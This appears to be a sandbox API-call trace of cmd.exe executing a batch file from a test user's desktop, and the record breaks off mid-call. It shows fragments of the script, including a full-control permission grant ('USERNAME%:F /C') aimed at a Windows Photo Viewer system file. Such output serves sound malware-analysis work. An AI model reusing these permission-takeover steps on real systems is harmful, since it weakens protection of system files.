[0089.439] GetEnvironmentStringsW () returned 0x715fd0* [0089.440] GetProcessHeap () returned 0x700000 [0089.440] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xb5c) returned 0x7181b8 [0089.440] FreeEnvironmentStringsW (penv=0x715fd0) returned 1 [0089.440] GetProcessHeap () returned 0x700000 [0089.440] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x700e20 | out: hHeap=0x700000) returned 1 [0089.440] DeleteProcThreadAttributeList (in: lpAttributeList=0x3bec60 | out: lpAttributeList=0x3bec60) [0089.440] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.440] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0089.440] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.440] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0089.441] _get_osfhandle (_FileHandle=0) returned 0x3 [0089.441] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0089.441] SetConsoleInputExeNameW () returned 0x1 [0089.441] GetConsoleOutputCP () returned 0x1b5 [0089.441] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0089.441] SetThreadUILanguage (LangId=0x0) returned 0x409 [0089.441] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x3bf47c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0089.442] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0089.442] _get_osfhandle (_FileHandle=3) returned 0x78 [0089.442] SetFilePointer (in: hFile=0x78, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0089.442] GetProcessHeap () returned 0x700000 [0089.442] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714ac8 | out: hHeap=0x700000) returned 1 [0089.442] GetProcessHeap () returned 0x700000 [0089.442] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714998 | out: hHeap=0x700000) returned 1 [0089.442] GetProcessHeap () returned 0x700000 [0089.442] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714870 | out: hHeap=0x700000) returned 1 [0089.442] GetProcessHeap () returned 0x700000 [0089.442] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714d38 | out: hHeap=0x700000) returned 1 [0089.442] GetProcessHeap () returned 0x700000 [0089.442] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7147b8 | out: hHeap=0x700000) returned 1 [0089.442] GetProcessHeap () returned 0x700000 [0089.442] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7145a0 | out: hHeap=0x700000) returned 1 [0089.442] GetProcessHeap () returned 0x700000 [0089.442] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714520 | out: hHeap=0x700000) returned 1 [0089.442] GetProcessHeap () returned 0x700000 [0089.442] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7143f0 | out: hHeap=0x700000) returned 1 [0089.442] GetProcessHeap () returned 0x700000 [0089.442] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7142c8 | out: hHeap=0x700000) returned 1 [0089.442] GetProcessHeap () returned 0x700000 [0089.442] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714258 | out: hHeap=0x700000) returned 1 [0089.443] GetProcessHeap () returned 0x700000 [0089.443] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7141b0 | out: hHeap=0x700000) returned 1 [0089.443] GetProcessHeap () returned 0x700000 [0089.443] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7012a8 | out: hHeap=0x700000) returned 1 [0089.443] GetProcessHeap () returned 0x700000 [0089.443] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x701248 | out: hHeap=0x700000) returned 1 [0089.443] _get_osfhandle (_FileHandle=3) returned 0x78 [0089.443] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0089.443] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x3bf460, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x3bf460*=0xb3, lpOverlapped=0x0) returned 1 [0089.443] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0089.443] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=16, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="set FN=\"%~nx1\"\r\nUSERNAME%:F /C\r\n") returned 16 [0089.443] _get_osfhandle (_FileHandle=3) returned 0x78 [0089.443] GetFileType (hFile=0x78) returned 0x1 [0089.443] _get_osfhandle (_FileHandle=3) returned 0x78 [0089.443] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0089.444] GetProcessHeap () returned 0x700000 [0089.444] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x400a) returned 0x724be8 [0089.444] GetProcessHeap () returned 0x700000 [0089.444] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x90) returned 0x7141b0 [0089.444] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui", nBufferLength=0x208, lpBuffer=0x3bebf0, lpFilePart=0x3bebe8 | out: lpBuffer="C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui", lpFilePart=0x3bebe8*="ImagingDevices.exe.mui") returned 0x42 [0089.444] FindFirstFileW (in: lpFileName="C:\\Program Files", lpFindFileData=0x3be904 | out: lpFindFileData=0x3be904*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xca90ed40, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xca90ed40, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 0x701248 [0089.444] FindClose (in: hFindFile=0x701248 | out: hFindFile=0x701248) returned 1 [0089.444] _wcsnicmp (_String1="PROGRA~1", _String2="Program Files", _MaxCount=0xd) returned 17 [0089.444] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer", lpFindFileData=0x3be904 | out: lpFindFileData=0x3be904*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa069e9f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa069e9f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 0x701248 [0089.445] FindClose (in: hFindFile=0x701248 | out: hFindFile=0x701248) returned 1 [0089.445] _wcsnicmp (_String1="WINDOW~4", _String2="Windows Photo Viewer", _MaxCount=0x14) returned 11 [0089.445] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US", lpFindFileData=0x3be904 | out: lpFindFileData=0x3be904*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0x701248 [0089.445] FindClose (in: hFindFile=0x701248 | out: hFindFile=0x701248) returned 1 [0089.445] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui", lpFindFileData=0x3be904 | out: lpFindFileData=0x3be904*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 0x701248 [0089.445] FindClose (in: hFindFile=0x701248 | out: hFindFile=0x701248) returned 1 [0089.445] GetProcessHeap () returned 0x700000 [0089.445] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x36) returned 0x701248 [0089.445] GetProcessHeap () returned 0x700000 [0089.445] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x724be8 | out: hHeap=0x700000) returned 1 [0089.446] _tell (_FileHandle=3) returned 63 [0089.446] _close (_FileHandle=3) returned 0 [0089.446] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3bf234 | out: _Buffer="\r\n") returned 2 [0089.446] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.446] GetFileType (hFile=0x7) returned 0x2 [0089.447] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.447] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf1f4 | out: lpMode=0x3bf1f4) returned 1 [0089.447] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.447] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3bf220, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf220*=0x2) returned 1 [0089.448] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0089.448] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0089.449] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x3bf230 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0089.449] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x3bf230 | out: _Buffer=">") returned 1 [0089.449] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.449] GetFileType (hFile=0x7) returned 0x2 [0089.449] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.449] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf1f8 | out: lpMode=0x3bf1f8) returned 1 [0089.449] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.449] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x3bf224, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x3bf224*=0x26) returned 1 [0089.450] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.450] GetFileType (hFile=0x7) returned 0x2 [0089.450] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.450] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf47c | out: lpMode=0x3bf47c) returned 1 [0089.450] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.450] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x700e28*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x3bf4a8, lpReserved=0x0 | out: lpBuffer=0x700e28*, lpNumberOfCharsWritten=0x3bf4a8*=0x3) returned 1 [0089.451] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x3bf4b4 | out: _Buffer=" FN=\"ImagingDevices.exe.mui\" ") returned 29 [0089.451] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.451] GetFileType (hFile=0x7) returned 0x2 [0089.451] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.451] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf474 | out: lpMode=0x3bf474) returned 1 [0089.451] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.451] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x1d, lpNumberOfCharsWritten=0x3bf4a0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf4a0*=0x1d) returned 1 [0089.452] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3bf4d4 | out: _Buffer="\r\n") returned 2 [0089.452] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.452] GetFileType (hFile=0x7) returned 0x2 [0089.452] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.452] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf494 | out: lpMode=0x3bf494) returned 1 [0089.452] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.452] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3bf4c0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf4c0*=0x2) returned 1 [0089.454] _wcsicmp (_String1="set", _String2="DIR") returned 15 [0089.454] _wcsicmp (_String1="set", _String2="ERASE") returned 14 [0089.454] _wcsicmp (_String1="set", _String2="DEL") returned 15 [0089.454] _wcsicmp (_String1="set", _String2="TYPE") returned -1 [0089.454] _wcsicmp (_String1="set", _String2="COPY") returned 16 [0089.454] _wcsicmp (_String1="set", _String2="CD") returned 16 [0089.454] _wcsicmp (_String1="set", _String2="CHDIR") returned 16 [0089.454] _wcsicmp (_String1="set", _String2="RENAME") returned 1 [0089.454] _wcsicmp (_String1="set", _String2="REN") returned 1 [0089.454] _wcsicmp (_String1="set", _String2="ECHO") returned 14 [0089.454] _wcsicmp (_String1="set", _String2="SET") returned 0 [0089.454] GetConsoleTitleW (in: lpConsoleTitle=0x3bf044, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0089.454] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7142f8, Size=0x42) returned 0x7142f8 [0089.454] GetProcessHeap () returned 0x700000 [0089.454] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x7142f8) returned 0x42 [0089.454] wcsncmp (_String1="FN", _String2="/", _MaxCount=0x4) returned 23 [0089.454] SetEnvironmentVariableW (lpName="FN", lpValue="\"ImagingDevices.exe.mui\"") returned 1 [0089.454] GetProcessHeap () returned 0x700000 [0089.454] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7181b8 | out: hHeap=0x700000) returned 1 [0089.455] GetEnvironmentStringsW () returned 0x716b70* [0089.455] GetProcessHeap () returned 0x700000 [0089.455] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xb94) returned 0x717710 [0089.455] FreeEnvironmentStringsW (penv=0x716b70) returned 1 [0089.455] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.455] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0089.455] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.455] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0089.455] _get_osfhandle (_FileHandle=0) returned 0x3 [0089.455] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0089.456] SetConsoleInputExeNameW () returned 0x1 [0089.456] GetConsoleOutputCP () returned 0x1b5 [0089.456] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0089.456] SetThreadUILanguage (LangId=0x0) returned 0x409 [0089.456] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x3bf47c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0089.456] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0089.456] _get_osfhandle (_FileHandle=3) returned 0x78 [0089.456] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0089.456] GetProcessHeap () returned 0x700000 [0089.456] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714348 | out: hHeap=0x700000) returned 1 [0089.456] GetProcessHeap () returned 0x700000 [0089.456] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7142f8 | out: hHeap=0x700000) returned 1 [0089.456] GetProcessHeap () returned 0x700000 [0089.456] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7142a8 | out: hHeap=0x700000) returned 1 [0089.456] GetProcessHeap () returned 0x700000 [0089.456] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x700e20 | out: hHeap=0x700000) returned 1 [0089.456] GetProcessHeap () returned 0x700000 [0089.456] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714248 | out: hHeap=0x700000) returned 1 [0089.456] GetProcessHeap () returned 0x700000 [0089.457] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x701248 | out: hHeap=0x700000) returned 1 [0089.457] GetProcessHeap () returned 0x700000 [0089.457] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7141b0 | out: hHeap=0x700000) returned 1 [0089.457] _get_osfhandle (_FileHandle=3) returned 0x78 [0089.457] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0089.457] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x3bf460, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x3bf460*=0xa3, lpOverlapped=0x0) returned 1 [0089.457] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0089.457] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cd /d \"%~dp0\"\r\n\nUSERNAME%:F /C\r\n") returned 15 [0089.457] _get_osfhandle (_FileHandle=3) returned 0x78 [0089.457] GetFileType (hFile=0x78) returned 0x1 [0089.457] _get_osfhandle (_FileHandle=3) returned 0x78 [0089.457] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0089.457] GetProcessHeap () returned 0x700000 [0089.457] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x400a) returned 0x724be8 [0089.458] GetProcessHeap () returned 0x700000 [0089.458] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x70) returned 0x701248 [0089.458] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x208, lpBuffer=0x3bebf0, lpFilePart=0x3bebe8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x3bebe8*="Bt3xnwko.bat") returned 0x32 [0089.458] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3be904 | out: lpFindFileData=0x3be904*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x7141b0 [0089.458] FindClose (in: hFindFile=0x7141b0 | out: hFindFile=0x7141b0) returned 1 [0089.458] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3be904 | out: lpFindFileData=0x3be904*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x7141b0 [0089.458] FindClose (in: hFindFile=0x7141b0 | out: hFindFile=0x7141b0) returned 1 [0089.458] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0089.458] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3be904 | out: lpFindFileData=0x3be904*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x7141b0 [0089.458] FindClose (in: hFindFile=0x7141b0 | out: hFindFile=0x7141b0) returned 1 [0089.458] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFindFileData=0x3be904 | out: lpFindFileData=0x3be904*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe3eef60, ftCreationTime.dwHighDateTime=0x1d5d06a, ftLastAccessTime.dwLowDateTime=0xbe3eef60, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xbe3eef60, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bt3xnwko.bat", cAlternateFileName="")) returned 0x7141b0 [0089.458] FindClose (in: hFindFile=0x7141b0 | out: hFindFile=0x7141b0) returned 1 [0089.458] GetProcessHeap () returned 0x700000 [0089.458] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x56) returned 0x7141b0 [0089.458] GetProcessHeap () returned 0x700000 [0089.458] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x724be8 | out: hHeap=0x700000) returned 1 [0089.459] _tell (_FileHandle=3) returned 78 [0089.459] _close (_FileHandle=3) returned 0 [0089.459] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3bf234 | out: _Buffer="\r\n") returned 2 [0089.459] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.459] GetFileType (hFile=0x7) returned 0x2 [0089.460] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.460] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf1f4 | out: lpMode=0x3bf1f4) returned 1 [0089.460] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.460] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3bf220, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf220*=0x2) returned 1 [0089.461] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0089.461] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0089.461] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x3bf230 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0089.462] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x3bf230 | out: _Buffer=">") returned 1 [0089.462] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.462] GetFileType (hFile=0x7) returned 0x2 [0089.462] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.462] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf1f8 | out: lpMode=0x3bf1f8) returned 1 [0089.462] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.462] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x3bf224, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x3bf224*=0x26) returned 1 [0089.463] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.463] GetFileType (hFile=0x7) returned 0x2 [0089.463] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.463] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf47c | out: lpMode=0x3bf47c) returned 1 [0089.463] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.463] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x700e28*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3bf4a8, lpReserved=0x0 | out: lpBuffer=0x700e28*, lpNumberOfCharsWritten=0x3bf4a8*=0x2) returned 1 [0089.463] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x3bf4b4 | out: _Buffer=" /d \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\\" ") returned 45 [0089.463] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.464] GetFileType (hFile=0x7) returned 0x2 [0089.464] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.464] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf474 | out: lpMode=0x3bf474) returned 1 [0089.464] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.464] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2d, lpNumberOfCharsWritten=0x3bf4a0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf4a0*=0x2d) returned 1 [0089.466] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3bf4d4 | out: _Buffer="\r\n") returned 2 [0089.466] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.466] GetFileType (hFile=0x7) returned 0x2 [0089.466] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.466] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf494 | out: lpMode=0x3bf494) returned 1 [0089.466] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.467] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3bf4c0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf4c0*=0x2) returned 1 [0089.468] _wcsicmp 